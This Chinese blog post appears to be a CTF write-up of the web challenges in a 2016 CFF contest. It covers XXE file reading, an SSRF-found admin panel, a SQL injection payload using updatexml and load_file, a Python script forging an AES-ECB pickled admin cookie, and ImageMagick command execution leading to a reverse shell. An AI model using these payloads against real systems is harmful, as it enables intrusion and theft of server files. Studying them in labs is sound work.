CFF-WEB

  • 2016-06-21
  • 1,870
  • 0

WEB100-API调用

这次web都是神坑,这我就不说了,这个题怎么看怎么像flask注入,最后发现head里面有个Content-Type: application/json,就想着试试xxe吧,然后就秒了(还能读shadow哦)
xxe

WEB300-登陆错误(神一样的脑洞题)

脑洞中的脑洞啊,一开始用ssrf各种爆破各种读,扫到了一个inject.php,以为是注入呢,但是怎么也没找到题目(没想到是第二天要放的新题)。后来各种方法都无解了,爆破了下,发现/image/127.0×0.0.1竟然是302跳转
302
找到个后台地址,然后后面就简单了,没有登录框,很显然是http登录
pass
爆破了下,用户名密码是admin:admin888
waf
还有层waf,想起前两天做的src的题目,直接fuzz了下post,就get了(长度是100)
flag

WEB300-典型攻击(这个如果没源码确实有点坑坑)

第一天拿到了源码,本地测试了下,然后直接payload上了就秒了
有stripcslashes,这个函数会吧\x27解析问单引号,然后就绕过了
Payload:
\x27 or updatexml(1,concat(0x3a,(sel\x65ct mid(load_fil\x65(\x27/tmp/cff2016.txt\x27),10,32))),1)–
111111
QQ图片20160619090355

WEB500-login(密钥我也不知道怎么猜的,反正猜出来了)

这题十一点的hint才提示test,有点疯狂,因为爆破了top10w用户名都没有,最后搜了下字典,果真没test用户;爆破下,密码是12345678。
登陆以后cookie里面有个level,提示说是AES-ECB,只要知道密钥就能解开了,然后就猜啊,密钥是1234567812345678,(没有为什么,猜!)
解密脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# __author__ = 'ByStudent'
import base64
from Crypto.Cipher import AES
a  = 'muLVVtKjZQx1FcHTY/oMCQdW/VZgPSH5Gm73jysDv9Ibt2V7e3LtrkjlAeaNEixnY7D2mw70IMKv14MLx2x80h1vusyJdsxRocPOwhQQi4fOxPEDuG4f333Uge9UBXWl3lhNAhgRnNu+7n86yALXXXrF78ezgHBK/Y2FVnfl/q2xJ/hF2iCHwcq3Pvaf6XBFnpqtF3arxtxlToLrPp9KRp/yHrWsoA885IMfmH1wSOm8pSR/uggpWlkxMsJZzOqD'
c = base64.b64decode(a)
cipher = AES.new("1234567812345678",AES.MODE_ECB)
cc = cipher.decrypt(c)
print cc
print base64.b64decode(cc)

# 加密
admin = '''ccopy_reg\n_reconstructor\np1\n(cmain\nUser\np2\nc__builtin__\nobject\np3\nNtRp4\n(dp5\nS'name'\np6\nS'admin'\np7\nsS'level'\np8\nS'admin'\np9\nsb.'''
admin = base64.b64encode(admin)
admin = admin + ';;;;;;;;;;;;;;;;;;;;'
cookie =  cipher.encrypt(admin)
print base64.b64encode(cookie)

123

WEB500-图片上传

服务器重新开了,然后复现了下,主要是两个问题,一个是路径,应该是/tmp目录,另一个类型type是show这样就能成功。
图片上传,肯定可以想到ImageMagick,但是无论怎么传都不行,后来想到了用exiftool 注入label,传上去以后,记住文件名,第二个提示是image参数,在url上加上image=文件名,类型是show,然后就会变成笑脸,命令就可以执行了,然后反弹shell
payload
flag
刚上午没几秒钟,sh就被kill了,然后在nc端口,,,就发现了火日师傅……(我的内心是崩溃的,竟然kill了我的进程,还telnet了端口跟我聊天,污污污……)
123456789

评论

还没有任何评论,你来说两句吧

你必须 登录 才能发表评论.